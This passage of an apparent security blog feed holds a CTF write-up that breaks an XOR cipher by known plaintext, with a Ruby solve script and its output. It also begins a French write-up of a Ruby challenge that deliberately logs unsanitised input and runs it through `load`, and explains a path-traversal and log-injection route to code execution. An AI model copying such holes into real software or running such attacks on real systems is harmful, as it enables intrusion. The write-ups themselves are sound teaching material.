style="color:#56B6C2"> range</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">,</span><span style="color:#56B6C2">len</span><span style="color:#ABB2BF">(flag)):</span></span><span class="line"><span style="color:#ABB2BF">        xored </span><span style="color:#56B6C2">+=</span><span style="color:#56B6C2"> chr</span><span style="color:#ABB2BF">(</span><span style="color:#56B6C2">ord</span><span style="color:#ABB2BF">(flag[i]) </span><span style="color:#56B6C2">^</span><span style="color:#56B6C2"> ord</span><span style="color:#ABB2BF">(key[i</span><span style="color:#56B6C2">%len</span><span style="color:#ABB2BF">(key)]))</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">    hex_encoded </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> xored.</span><span style="color:#61AFEF">encode</span><span style="color:#ABB2BF">().</span><span style="color:#61AFEF">hex</span><span style="color:#ABB2BF">()</span></span><span class="line"><span style="color:#C678DD">    return</span><span style="color:#ABB2BF"> hex_encoded</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">def</span><span style="color:#61AFEF"> start</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66;font-style:italic">server</span><span style="color:#ABB2BF">):</span></span><span class="line"><span style="color:#ABB2BF">    res </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> ''</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">join</span><span style="color:#ABB2BF">(random.</span><span style="color:#61AFEF">choices</span><span style="color:#ABB2BF">(string.ascii_letters </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> string.digits, </span><span style="color:#E06C75;font-style:italic">k</span><span style="color:#56B6C2">=</span><span style="color:#D19A66">5</span><span style="color:#ABB2BF">))</span></span><span class="line"><span style="color:#ABB2BF">    key </span><span style="color:#56B6C2">=</span><span style="color:#56B6C2"> str</span><span style="color:#ABB2BF">(res)</span></span><span class="line"><span style="color:#7F848E;font-style:italic"># [...]</span></span></code></pre></div></div></figure><p>What can be noted is:</p><ol><li><strong>Cyclic key:</strong> The encryption uses <code>key[i%len(key)]</code>, meaning the key repeats cyclically throughout the flag encryption.</li><li><strong>Known clear text:</strong> As we get the encrypted flag, and we know the 4 first characters of the clear text flag (<code>THM&#123;</code>), we can compute the 4 first characters (out of 5) of the key (<code>key ^ flag = encrypted_flag</code>), which massively reduce the number of combination to brute force.</li></ol><ul><li><code>string.ascii_letters + string.digits</code> means a 62 characters set.</li><li><code>k=5</code> means the key is 5 characters long.</li><li>So the entropy of the key is 30 bits (log₂(62^5)), which is about 916 millions (62^5) of combinations.</li><li>Because we need to brute force only 1 character, it is down to 6 bits (log₂(62^1)) of entropy which is only 62 combinations.</li><li>So instead of hours or days of brute force, it will be instantaneous.</li></ul><h2 id="Solution-script">Solution script<a class="header-anchor" href="#Solution-script">#</a></h2><p>So here is a Ruby script to:</p><ol><li>connect to the TCP socket,</li><li>retrieve the hexadecimal encoded encrypted flag,</li><li>computed the 4 first char of the key,</li><li>brute force the 5th char of the key,</li><li>retrieve the flag.</li></ol><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">require </span><span style="color:#98C379">'socket'</span></span><span class="line"></span><span class="line"><span style="color:#E5C07B">HOST</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> '10.129.183.99'</span></span><span class="line"><span style="color:#E5C07B">PORT</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> 1337</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">def</span><span style="color:#61AFEF"> xor_decode</span><span style="color:#ABB2BF">(</span><span style="color:#ABB2BF;font-style:italic">hex_encoded</span><span style="color:#ABB2BF">, </span><span style="color:#ABB2BF;font-style:italic">key</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#7F848E;font-style:italic">  # Convert hex string to bytes and XOR with key (cyclically)</span></span><span class="line"><span style="color:#E06C75">  encrypted_bytes</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> [hex_encoded].</span><span style="color:#61AFEF">pack</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'H*'</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  decrypted</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> ''</span></span><span class="line"><span style="color:#ABB2BF">  encrypted_bytes.</span><span style="color:#61AFEF">each_char</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">with_index</span><span style="color:#ABB2BF"> { |</span><span style="color:#E06C75">char</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">i</span><span style="color:#ABB2BF">| decrypted </span><span style="color:#56B6C2">+=</span><span style="color:#ABB2BF"> (char.</span><span style="color:#61AFEF">ord</span><span style="color:#56B6C2"> ^</span><span style="color:#ABB2BF"> key[i </span><span style="color:#56B6C2">%</span><span style="color:#ABB2BF"> key.</span><span style="color:#61AFEF">length</span><span style="color:#ABB2BF">].</span><span style="color:#61AFEF">ord</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">chr</span><span style="color:#ABB2BF"> }</span></span><span class="line"><span style="color:#ABB2BF">  decrypted</span></span><span class="line"><span style="color:#C678DD">end</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">def</span><span style="color:#61AFEF"> retrieve_key</span><span style="color:#ABB2BF">(</span><span style="color:#ABB2BF;font-style:italic">hex_encoded</span><span style="color:#ABB2BF">, </span><span style="color:#ABB2BF;font-style:italic">known_plaintext</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'THM{'</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#7F848E;font-style:italic">  # Extract partial key from known plaintext</span></span><span class="line"><span style="color:#E06C75">  encrypted_bytes</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> [hex_encoded].</span><span style="color:#61AFEF">pack</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'H*'</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  key_chars</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> Array</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">new</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">5</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#ABB2BF">  known_plaintext.</span><span style="color:#61AFEF">each_char</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">with_index</span><span style="color:#ABB2BF"> { |</span><span style="color:#E06C75">char</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">i</span><span style="color:#ABB2BF">| key_chars[i </span><span style="color:#56B6C2">%</span><span style="color:#D19A66"> 5</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> (char.</span><span style="color:#61AFEF">ord</span><span style="color:#56B6C2"> ^</span><span style="color:#ABB2BF"> encrypted_bytes[i].</span><span style="color:#61AFEF">ord</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">chr</span><span style="color:#ABB2BF"> }</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">  # Brute force missing character</span></span><span class="line"><span style="color:#E06C75">  missing_index</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> key_chars.</span><span style="color:#61AFEF">find_index</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">nil</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#C678DD">  return</span><span style="color:#ABB2BF"> key_chars.</span><span style="color:#61AFEF">join</span><span style="color:#ABB2BF">, </span><span style="color:#61AFEF">xor_decode</span><span style="color:#ABB2BF">(hex_encoded, key_chars.</span><span style="color:#61AFEF">join</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> missing_index.</span><span style="color:#61AFEF">nil?</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">  charset</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> (</span><span style="color:#98C379">'a'</span><span style="color:#ABB2BF">..</span><span style="color:#98C379">'z'</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">to_a</span><span style="color:#56B6C2"> +</span><span style="color:#ABB2BF"> (</span><span style="color:#98C379">'A'</span><span style="color:#ABB2BF">..</span><span style="color:#98C379">'Z'</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">to_a</span><span style="color:#56B6C2"> +</span><span style="color:#ABB2BF"> (</span><span style="color:#98C379">'0'</span><span style="color:#ABB2BF">..</span><span style="color:#98C379">'9'</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">to_a</span></span><span class="line"><span style="color:#ABB2BF">  charset.</span><span style="color:#61AFEF">each</span><span style="color:#C678DD"> do</span><span style="color:#ABB2BF"> |</span><span style="color:#E06C75">missing_char</span><span style="color:#ABB2BF">|</span></span><span class="line"><span style="color:#E06C75">    test_key</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> key_chars.</span><span style="color:#61AFEF">dup</span></span><span class="line"><span style="color:#ABB2BF">    test_key[missing_index] </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> missing_char</span></span><span class="line"><span style="color:#E06C75">    full_key</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> test_key.</span><span style="color:#61AFEF">join</span></span><span class="line"><span style="color:#E06C75">    decrypted</span><span style="color:#56B6C2"> =</span><span style="color:#61AFEF"> xor_decode</span><span style="color:#ABB2BF">(hex_encoded, full_key)</span></span><span class="line"><span style="color:#7F848E;font-style:italic">    # Only check if it starts with THM{ and ends with }</span></span><span class="line"><span style="color:#C678DD">    return</span><span style="color:#ABB2BF"> full_key, decrypted </span><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> decrypted.</span><span style="color:#61AFEF">start_with?</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'THM{'</span><span style="color:#ABB2BF">) </span><span style="color:#56B6C2">&#x26;&#x26;</span><span style="color:#ABB2BF"> decrypted.</span><span style="color:#61AFEF">end_with?</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'}'</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#C678DD">  end</span></span><span class="line"></span><span class="line"><span style="color:#D19A66">  nil</span></span><span class="line"><span style="color:#C678DD">end</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">def</span><span style="color:#61AFEF"> solve_chall</span></span><span class="line"><span style="color:#E06C75">  socket</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> TCPSocket</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">new</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">HOST</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">PORT</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#56B6C2">  puts</span><span style="color:#98C379"> "[*] Connected to </span><span style="color:#C678DD">#{</span><span style="color:#E5C07B">HOST</span><span style="color:#C678DD">}</span><span style="color:#98C379">:</span><span style="color:#C678DD">#{</span><span style="color:#E5C07B">PORT</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">  response</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> socket.</span><span style="color:#56B6C2">gets</span></span><span class="line"><span style="color:#56B6C2">  puts</span><span style="color:#98C379"> "[*] Response received: </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">response.</span><span style="color:#61AFEF">strip</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">  if</span><span style="color:#E06C75"> response</span><span style="color:#ABB2BF"> =~ </span><span style="color:#E06C75">/flag 1: ([a-f0-9]+)/</span></span><span class="line"><span style="color:#E06C75">    hex_encoded</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> Regexp</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">last_match</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#56B6C2">    puts</span><span style="color:#98C379"> "[*] XOR-encoded text: </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">hex_encoded</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">    key, decrypted </span><span style="color:#56B6C2">=</span><span style="color:#61AFEF"> retrieve_key</span><span style="color:#ABB2BF">(hex_encoded)</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">    if</span><span style="color:#ABB2BF"> key </span><span style="color:#56B6C2">&#x26;&#x26;</span><span style="color:#ABB2BF"> decrypted</span></span><span class="line"><span style="color:#56B6C2">      puts</span><span style="color:#98C379"> "[+] Key found: </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">key</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span></span><span class="line"><span style="color:#56B6C2">      puts</span><span style="color:#98C379"> "[+] Decrypted text: </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">decrypted</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span></span><span class="line"><span style="color:#ABB2BF">      socket.</span><span style="color:#56B6C2">puts</span><span style="color:#ABB2BF">(key)</span></span><span class="line"><span style="color:#56B6C2">      puts</span><span style="color:#98C379"> "[+] Final response:</span><span style="color:#56B6C2">\n</span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">socket.</span><span style="color:#56B6C2">gets</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">strip</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span></span><span class="line"><span style="color:#C678DD">    else</span></span><span class="line"><span style="color:#56B6C2">      puts</span><span style="color:#98C379"> '[-] Key not found'</span></span><span class="line"><span style="color:#C678DD">    end</span></span><span class="line"><span style="color:#C678DD">  else</span></span><span class="line"><span style="color:#56B6C2">    puts</span><span style="color:#98C379"> '[-] Unexpected response format'</span></span><span class="line"><span style="color:#C678DD">  end</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">  socket.</span><span style="color:#61AFEF">close</span></span><span class="line"><span style="color:#C678DD">rescue</span><span style="color:#E5C07B"> Errno</span><span style="color:#ABB2BF">::</span><span style="color:#E5C07B">ECONNREFUSED</span></span><span class="line"><span style="color:#56B6C2">  puts</span><span style="color:#98C379"> '[-] Connection refused. Check if server is running.'</span></span><span class="line"><span style="color:#C678DD">rescue</span><span style="color:#E5C07B"> StandardError</span><span style="color:#ABB2BF"> => e</span></span><span class="line"><span style="color:#56B6C2">  puts</span><span style="color:#98C379"> "[-] Error: </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">e.</span><span style="color:#61AFEF">message</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span></span><span class="line"><span style="color:#C678DD">end</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">solve_chall</span></span></code></pre></div></div></figure><figure class="shiki plaintext"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>$ ruby solve.rb</span></span><span class="line"><span>[*] Connected to 10.129.183.99:1337</span></span><span class="line"><span>[*] Response received: This XOR encoded text has flag 1: 37787e150a52515f000e2648472f0e1704500519225e415d1b0f7c4a062f11444a5e0f11487c1c07</span></span><span class="line"><span>[*] XOR-encoded text: 37787e150a52515f000e2648472f0e1704500519225e415d1b0f7c4a062f11444a5e0f11487c1c07</span></span><span class="line"><span>[+] Key found: edited_key</span></span><span class="line"><span>[+] Decrypted text: THM{edited_flag_1}</span></span><span class="line"><span>[+] Final response:</span></span><span class="line"><span>What is the encryption key? Congrats! That is the correct key! Here is flag 2: THM{edited_flag_2?}</span></span></code></pre></div></div></figure><h2 id="Conclusion">Conclusion<a class="header-anchor" href="#Conclusion">#</a></h2><p>By leveraging the known plaintext attack principle, we transformed an infeasible brute-force problem into an instant solution. This demonstrates the importance of:</p><ul><li>Analyzing cryptographic implementations</li><li>Identifying information leakage (predictable flag format)</li></ul><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>YesWeHack Dojo #44 - Surveillance du matériel - Solution</title>
      <link>https://blog.raw.pm/fr/YesWeHack-Dojo-dojo-44-hardware-monitor/</link>
      <description>
        <![CDATA[<h2 id="Write-up">Write-up<a class="header-anchor" href="#Write-up">#</a></h2>
<p>Write-up pour le défi <a href="https://dojo-yeswehack.com/]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/web/">web</category>
      <category domain="https://blog.raw.pm/tags/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/yeswehack/">yeswehack</category>
      <category domain="https://blog.raw.pm/tags/dojo/">dojo</category>
      <category domain="https://blog.raw.pm/tags/log-injection/">log injection</category>
      <pubDate>Sat, 27 Sep 2025 21:43:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="Write-up">Write-up<a class="header-anchor" href="#Write-up">#</a></h2><p>Write-up pour le défi <a href="https://dojo-yeswehack.com/challenge-of-the-month/dojo-44">Dojo #44 - Surveillance du matériel</a> créé par <a href="https://dojo-yeswehack.com/user/87c37d72-ba15-4ea6-9202-d77b0f3e8e1b">BrumensYWH</a>.</p><p>La solution officielle publiée par YesWeHack se trouve <a href="https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44">ici</a>.</p><p>Ci-dessous, vous trouverez ma solution qui a été <a href="https://x.com/yeswehack/status/1970791240451957073">retenue comme gagnante</a> en termes de qualité.</p><h2 id="Code">Code<a class="header-anchor" href="#Code">#</a></h2><p>Code du défi (Ruby) :</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">require </span><span style="color:#98C379">'erb'</span></span><span class="line"><span style="color:#61AFEF">require </span><span style="color:#98C379">'cgi'</span></span><span class="line"><span style="color:#61AFEF">require </span><span style="color:#98C379">'logger'</span></span><span class="line"><span style="color:#61AFEF">require </span><span style="color:#98C379">'pathname'</span></span><span class="line"></span><span class="line"><span style="color:#E5C07B">Dir</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">chdir</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'/tmp/app'</span><span style="color:#ABB2BF">)</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">logger</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> Logger</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">new</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'logs/error.log'</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#ABB2BF">logger.</span><span style="color:#61AFEF">datetime_format</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "%-m/%-d/%Y"</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">scriptFile</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> CGI</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">unescape</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"&#x3C;user_input>"</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">scriptFile</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> Pathname</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">new</span><span style="color:#ABB2BF">(scriptFile)</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic"># Load given backup script</span></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> scriptFile </span><span style="color:#56B6C2">!=</span><span style="color:#98C379"> ''</span><span style="color:#C678DD"> then</span></span><span class="line"><span style="color:#ABB2BF">    logger.</span><span style="color:#61AFEF">info</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"Running bakup script </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">scriptFile</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#C678DD">    begin</span></span><span class="line"><span style="color:#56B6C2">        load</span><span style="color:#98C379"> "scripts/</span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">scriptFile.</span><span style="color:#61AFEF">cleanpath</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span></span><span class="line"><span style="color:#C678DD">    rescue</span><span style="color:#E5C07B"> Exception</span><span style="color:#ABB2BF"> => e</span></span><span class="line"><span style="color:#ABB2BF">        logger.</span><span style="color:#56B6C2">warn</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"The bakup script failed to run, error : </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">e.</span><span style="color:#61AFEF">message</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#C678DD">    end</span></span><span class="line"><span style="color:#C678DD">end</span></span><span class="line"></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic"># Render the given page for our web application</span></span><span class="line"><span style="color:#56B6C2">puts</span><span style="color:#E5C07B"> ERB</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">new</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">IO</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">read</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"views/index.html"</span><span style="color:#ABB2BF">)).</span><span style="color:#61AFEF">result_with_hash</span><span style="color:#ABB2BF">({</span><span style="color:#56B6C2">logs</span><span style="color:#D19A66">:</span><span style="color:#E5C07B"> File</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">read</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"logs/error.log"</span><span style="color:#ABB2BF">)})</span></span></code></pre></div></div></figure><p>Code pour reproduire l'environnement :</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">require </span><span style="color:#98C379">'fileutils'</span></span><span class="line"><span style="color:#61AFEF">require </span><span style="color:#98C379">'securerandom'</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic"># Write flag script file with execute only</span></span><span class="line"><span style="color:#E06C75">filenameflag</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "flag_</span><span style="color:#C678DD">#{</span><span style="color:#E5C07B">SecureRandom</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">hex</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">10</span><span style="color:#ABB2BF">)</span><span style="color:#C678DD">}</span><span style="color:#98C379">.txt"</span></span><span class="line"><span style="color:#E5C07B">File</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">write</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/tmp/</span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">filenameflag</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span><span style="color:#ABB2BF">, flag)</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic"># Make web app folder structure and add files</span></span><span class="line"><span style="color:#E5C07B">FileUtils</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">mkdir_p</span><span style="color:#98C379"> '/tmp/app/views'</span></span><span class="line"><span style="color:#E5C07B">FileUtils</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">mkdir_p</span><span style="color:#98C379"> '/tmp/app/logs'</span></span><span class="line"><span style="color:#E5C07B">FileUtils</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">mkdir_p</span><span style="color:#98C379"> '/tmp/app/scripts'</span></span><span class="line"><span style="color:#E5C07B">Dir</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">chdir</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'/tmp/app'</span><span style="color:#ABB2BF">)</span></span><span class="line"></span><span class="line"><span style="color:#E5C07B">File</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">write</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'scripts/bakup.rb'</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">'puts "PANIC PANIC PANIC AAAAH!!!"'</span><span style="color:#ABB2BF">)</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic"># Write the login page</span></span><span class="line"><span style="color:#E5C07B">File</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">write</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'views/index.html'</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">'</span></span><span class="line"><span style="color:#98C379">&#x3C;html lang="en"></span></span><span class="line"><span style="color:#98C379">  &#x3C;head></span></span><span class="line"><span style="color:#98C379">    &#x3C;meta charset="UTF-8" /></span></span><span class="line"><span style="color:#98C379">    &#x3C;meta name="viewport" content="width=device-width, initial-scale=1.0" /></span></span><span class="line"></span><span class="line"><span style="color:#98C379">[rogné car sans intérêt pour le défi]</span></span><span class="line"></span><span class="line"><span style="color:#98C379">      donut();</span></span><span class="line"><span style="color:#98C379">      graph();</span></span><span class="line"><span style="color:#98C379">      vgraph();</span></span><span class="line"><span style="color:#98C379">    &#x3C;/script></span></span><span class="line"><span style="color:#98C379">  &#x3C;/body></span></span><span class="line"><span style="color:#98C379">&#x3C;/html></span></span><span class="line"><span style="color:#98C379">'</span><span style="color:#ABB2BF">)</span></span></code></pre></div></div></figure><h2 id="Solution">Solution<a class="header-anchor" href="#Solution">#</a></h2><h3 id="Analyse-du-code">Analyse du code<a class="header-anchor" href="#Analyse-du-code">#</a></h3><p>Premièrement, un journaliseur est instancié avec le module <a href="https://docs.ruby-lang.org/en/3.4/Logger.html">Logger</a>. Celui-ci écrira le journal d'évènement sur le disque dans le fichier <code>/tmp/app/logs/error.log</code>.</p><p>Dans le dojo, l'entrée utilisateur est encodé en URL par le &quot;pare-feu applicatif&quot;, puis sera décodé dans l'application à l'aide de <a href="https://docs.ruby-lang.org/en/3.4/CGI/Escape.html#method-i-unescape">CGI.unescape</a>, qui, pour faire simple, fait peu ou prou, l'opération inverse. On peut donc en conclure, que cela revient à passer l'entrée utilisateur non assainie à l'application. L'entrée utilisateur attendue est la valeur du script à appeler. La seule valeur légitime connue est <code>bakup.rb</code> correspondant au script de sauvegarde qui se trouve dans <code>/tmp/app/scripts/bakup.rb</code>.Ensuite, le nom de fichier sous forme de chaîne de caractères est transformé en chemin d'accès avec <a href="https://docs.ruby-lang.org/en/3.4/Pathname.html">Pathname.new</a>. Aucune transformation ou effet de bord n'est attendu ici. Par le passé, il était possible d'injecter des commandes par exemple si la chaîne de caractères commençait par <code>|</code> ou il était possible de tronquer un chemin avec un octet nul, mais ici on partira du principe que la version de Ruby est récente et non vulnérable.</p><p>La suite du code est exécuté si l'entrée utilisateur n'est pas vide, ce qui ne sera pas le cas pour exploiter la vulnérabilité.</p><p>La variable teintée <code>scriptFile</code> est ensuite incluse une première fois dans le journaliseur à l'aide d'une interpolation de chaîne de caractère. L'utilisateur pourra donc partiellement contrôler le contenu du journal d'évènement. La variable n'est pas échappée, une grande liberté s'offrira donc pour l'injection de contenue.</p><p>Ensuite, l'application tente d'exécuter le script de sauvegarde à partir de la variable teintée. Deux éléments intéressants sont à noter. Premièrement, la méthode <a href="https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath">cleanpath</a> est appelée sur la variable teintée. De prime abord, on pourrait penser qu'il s'agit d'un échappement qui pourrait nous limiter. En réalité, <code>cleanpath</code> ne fait que supprimer les caractères <code>.</code> et <code>/</code> en doublon ou inutiles, pour normaliser le chemin Unix. En effet, les chemins <code>./toto.rb</code> et <code>./////////.////.//////toto.rb</code> sont équivalents sous Unix. Ici, <code>cleanpath</code> n'a pas vocation à effectuer un filtre de sécurité, il ne supprimera pas les remontées de chemin du style <code>../../../</code> qui pourrait servir pour une traversée de chemin. L'entrée utilisateur est donc toujours maîtrisée par l'attaquant sans réel filtrage. L'autre point à noter est l'utilisation de <a href="https://docs.ruby-lang.org/en/3.4/Kernel.html#method-i-load">load</a>. Cette méthode attire l'attention, car, en dehors du fait d'être dangereuse, n'est quasiment jamais utilisée en Ruby. Elle a un rôle semblable à <code>require</code>, qui, elle, est abondamment utilisée. L'utilisation de <code>load</code> pose donc question et pousse l'auditeur à chercher la différence entre <code>load</code> et <code>require</code>. Pour faire simple, sans rentrer dans le détail de l'algorithme de résolution de chemin de chargement, l'une des différences principales est que <code>require</code> suffixera le chemin avec <code>.rb</code> automatiquement alors que <code>load</code> non. Une application réelle aurait très certainement utilisée <code>require</code> pour charger une bibliothèque et non pas <code>load</code> ou alors utilisée <a href="https://docs.ruby-lang.org/en/3.4/Open3.html#method-i-popen3">popen3</a> ou <a href="https://docs.ruby-lang.org/en/3.4/Kernel.html#method-i-system">system</a> ou encore <a href="https://docs.ruby-lang.org/en/3.4/Kernel.html#method-i-exec">exec</a> pour exécuter un script. Dans le cadre d'un défi de CTF, l'utilisation de <code>load</code> a certainement été choisie pour être moins évidente que <code>system</code> ou <code>exec</code> mais préférée à <code>require</code> afin de permettre d'exécuter le fichier de journalisation <code>error.log</code> sans avoir à complexifier le défi avec une troncation de l'extension <code>.rb</code>. Il devient dès lors assez évident, que le but sera ici d'écrire du code Ruby dans le fichier <code>error.log</code> puis de le faire exécuter par <code>load</code>. La vulnérabilité n'est donc pas cachée, mais bien visible : &quot;l'application exécute du code contrôlé par l'utilisateur sans effectuer le moindre filtrage&quot;. Mais, le défi ne serait pas un défi s'il n'y avait pas une subtilité pour complexifier la chose et une astuce à identifier pour contourner le blocage.</p><p>Par la suite, si l'exécution au script lève une exception (ex : fichier inexistant) un 2ième appel au journaliseur sera effectué. Peu d'intérêt pour l'attaquant, puisque son but sera justement d'obtenir l'exécution d'un fichier avec un nom / chemin 